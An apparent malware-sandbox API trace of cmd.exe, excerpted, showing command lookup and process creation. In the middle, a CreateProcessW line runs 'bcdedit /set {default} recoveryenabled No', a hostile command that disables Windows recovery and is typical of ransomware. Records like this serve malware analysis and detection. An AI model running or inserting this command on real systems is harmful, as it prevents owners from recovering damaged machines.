	[0196.718] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0196.719] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0196.720] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7
	[0196.721] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16
	[0196.723] GetProcessHeap () returned 0x330000
	[0196.723] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x34bda0
	[0196.723] GetProcessHeap () returned 0x330000
	[0196.723] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x68) returned 0x34bfc0
	[0196.723] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1
	[0196.724] GetProcessHeap () returned 0x330000
	[0196.724] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x420) returned 0x331320
	[0196.724] SetErrorMode (uMode=0x0) returned 0x0
	[0196.724] SetErrorMode (uMode=0x1) returned 0x0
	[0196.724] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x331330, lpFilePart=0x12f280 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x12f280*="Desktop") returned 0x25
	[0196.725] SetErrorMode (uMode=0x0) returned 0x1
	[0196.725] GetProcessHeap () returned 0x330000
	[0196.725] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331320, Size=0x6c) returned 0x331320
	[0196.725] GetProcessHeap () returned 0x330000
	[0196.725] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331320) returned 0x6c
	[0196.725] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0196.726] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0196.726] GetProcessHeap () returned 0x330000
	[0196.726] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x128) returned 0x34c030
	[0196.726] GetProcessHeap () returned 0x330000
	[0196.726] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x240) returned 0x3313a0
	[0197.062] GetProcessHeap () returned 0x330000
	[0197.062] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3313a0, Size=0x12a) returned 0x3313a0
	[0197.063] GetProcessHeap () returned 0x330000
	[0197.063] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3313a0) returned 0x12a
	[0197.063] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0197.063] GetProcessHeap () returned 0x330000
	[0197.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe8) returned 0x3314e0
	[0197.063] GetProcessHeap () returned 0x330000
	[0197.063] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3314e0, Size=0x7e) returned 0x3314e0
	[0197.063] GetProcessHeap () returned 0x330000
	[0197.063] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3314e0) returned 0x7e
	[0197.065] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0xffffffffffffffff
	[0197.066] GetLastError () returned 0x2
	[0197.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0xffffffffffffffff
	[0197.067] GetLastError () returned 0x2
	[0197.067] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.067] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0x34c160
	[0197.067] GetProcessHeap () returned 0x330000
	[0197.067] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x344680
	[0197.067] FindClose (in: hFindFile=0x34c160 | out: hFindFile=0x34c160) returned 1
	[0197.068] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0xffffffffffffffff
	[0197.068] GetLastError () returned 0x2
	[0197.068] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0x34c160
	[0197.068] GetProcessHeap () returned 0x330000
	[0197.068] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x344680, Size=0x8) returned 0x3489a0
	[0197.068] FindClose (in: hFindFile=0x34c160 | out: hFindFile=0x34c160) returned 1
	[0197.069] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0197.069] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0197.069] GetConsoleTitleW (in: lpConsoleTitle=0x12f540, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0197.069] InitializeProcThreadAttributeList (in: lpAttributeList=0x12f2f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12f2b8 | out: lpAttributeList=0x12f2f8, lpSize=0x12f2b8) returned 1
	[0197.069] UpdateProcThreadAttribute (in: lpAttributeList=0x12f2f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x12f2a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12f2f8, lpPreviousValue=0x0) returned 1
	[0197.069] GetStartupInfoW (in: lpStartupInfo=0x12f410 | out: lpStartupInfo=0x12f410*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0197.070] GetProcessHeap () returned 0x330000
	[0197.070] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344680
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0197.070] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.071] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0197.072] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0197.073] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0197.073] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0197.073] GetProcessHeap () returned 0x330000
	[0197.073] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344680 | out: hHeap=0x330000) returned 1
	[0197.073] GetProcessHeap () returned 0x330000
	[0197.073] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x12) returned 0x34c160
	[0197.073] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0197.077] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x12f330*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default} recoveryenabled No ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12f2e0 | out: lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessInformation=0x12f2e0*(hProcess=0x54, hThread=0x50, dwProcessId=0x1d94, dwThreadId=0x1d98)) returned 1
	[0197.396] CloseHandle (hObject=0x50) returned 1
	[0197.397] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0197.397] GetProcessHeap () returned 0x330000
	[0197.397] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34acd0 | out: hHeap=0x330000) returned 1
	[0197.397] GetEnvironmentStringsW () returned 0x34acd0*
	[0197.397] GetProcessHeap () returned 0x330000
	[0197.397] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xae8) returned 0x35ad60
	[0197.397] FreeEnvironmentStringsW (penv=0x34acd0) returned 1
	[0197.397] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0201.278] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x12f228 | out: lpExitCode=0x12f228*=0x0) returned 1
	[0201.278] CloseHandle (hObject=0x54) returned 1
	[0201.279] _vsnwprintf (in: _Buffer=0x12f498, _BufferCount=0x13, _Format="%08X", _ArgList=0x12f238 | out: _Buffer="00000000") returned 8
	[0201.279] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0201.279] GetProcessHeap () returned 0x330000
	[0201.279] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ad60 | out: hHeap=0x330000) returned 1
	[0201.279] GetEnvironmentStringsW () returned 0x35ad60*
	[0201.279] GetProcessHeap () returned 0x330000
	[0201.279] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x34c180
	[0201.279] FreeEnvironmentStringsW (penv=0x35ad60) returned 1
	[0201.280] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0201.280] GetProcessHeap () returned 0x330000
	[0201.280] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c180 | out: hHeap=0x330000) returned 1
	[0201.280] GetEnvironmentStringsW () returned 0x35ad60*
	[0201.280] GetProcessHeap () returned 0x330000
	[0201.280] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x34c180
	[0201.280] FreeEnvironmentStringsW (penv=0x35ad60) returned 1
	[0201.280] GetProcessHeap () returned 0x330000
	[0201.280] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c160 | out: hHeap=0x330000) returned 1
	[0201.280] DeleteProcThreadAttributeList (in: lpAttributeList=0x12f2f8 | out: lpAttributeList=0x12f2f8) 
	[0201.280] GetConsoleTitleW (in: lpConsoleTitle=0x12f9f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0201.281] GetProcessHeap () returned 0x330000
	[0201.281] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x331930
	[0201.281] GetProcessHeap () returned 0x330000
	[0201.281] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x40) returned 0x331570
	[0201.281] GetProcessHeap () returned 0x330000
	[0201.282] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x420) returned 0x349620
	[0201.282] SetErrorMode (uMode=0x0) returned 0x0
	[0201.282] SetErrorMode (uMode=0x1) returned 0x0
	[0201.282] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x349630, lpFilePart=0x12f280 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x12f280*="Desktop") returned 0x25
	[0201.282] SetErrorMode (uMode=0x0) returned 0x1
	[0201.282] GetProcessHeap () returned 0x330000
	[0201.282] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x349620, Size=0x6c) returned 0x349620
	[0201.283] GetProcessHeap () returned 0x330000
	[0201.283] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x349620) returned 0x6c
	[0201.283] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0201.283] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0201.283] GetProcessHeap () returned 0x330000
	[0201.283] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x128) returned 0x345c00
	[0201.283] GetProcessHeap () returned 0x330000
	[0201.283] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x240) returned 0x331b50
	[0201.283] GetProcessHeap () returned 0x330000
	[0201.283] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331b50, Size=0x12a) returned 0x331b50
	[0201.283] GetProcessHeap () returned 0x330000
	[0201.283] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331b50) returned 0x12a
	[0201.284] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0201.284] GetProcessHeap () returned 0x330000
	[0201.284] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe8) returned 0x331c90
	[0201.284] GetProcessHeap () returned 0x330000
	[0201.284] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331c90, Size=0x7e) returned 0x331c90
	[0201.284] GetProcessHeap () returned 0x330000
	[0201.284] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331c90) returned 0x7e
	[0201.284] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0201.284] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0xffffffffffffffff
	[0201.285] GetLastError () returned 0x2
	[0201.285] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0xffffffffffffffff
	[0201.285] GetLastError () returned 0x2
	[0201.285] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0201.286] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0x3315c0
	[0201.286] FindClose (in: hFindFile=0x3315c0 | out: hFindFile=0x3315c0) returned 1
	[0201.286] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0xffffffffffffffff
	[0201.287] GetLastError () returned 0x2
	[0201.287] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x12eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12eff0) returned 0x3315c0
	[0201.287] FindClose (in: hFindFile=0x3315c0 | out: hFindFile=0x3315c0) returned 1
	[0201.287] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0201.287] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0201.288] GetConsoleTitleW (in: lpConsoleTitle=0x12f540, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0201.288] InitializeProcThreadAttributeList (in: lpAttributeList=0x12f2f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12f2b8 | out: lpAttributeList=0x12f2f8, lpSize=0x12f2b8) returned 1
	[0201.288] UpdateProcThreadAttribute (in: lpAttributeList=0x12f2f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x12f2a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12f2f8, lpPreviousValue=0x0) returned 1
	[0201.288] GetStartupInfoW (in: lpStartupInfo=0x12f410 | out: lpStartupInfo=0x12f410*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0201.288] GetProcessHeap () returned 0x330000
	[0201.289] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x3446b0
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0201.289] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0201.290] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0201.291] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0201.291] GetProcessHeap () returned 0x330000
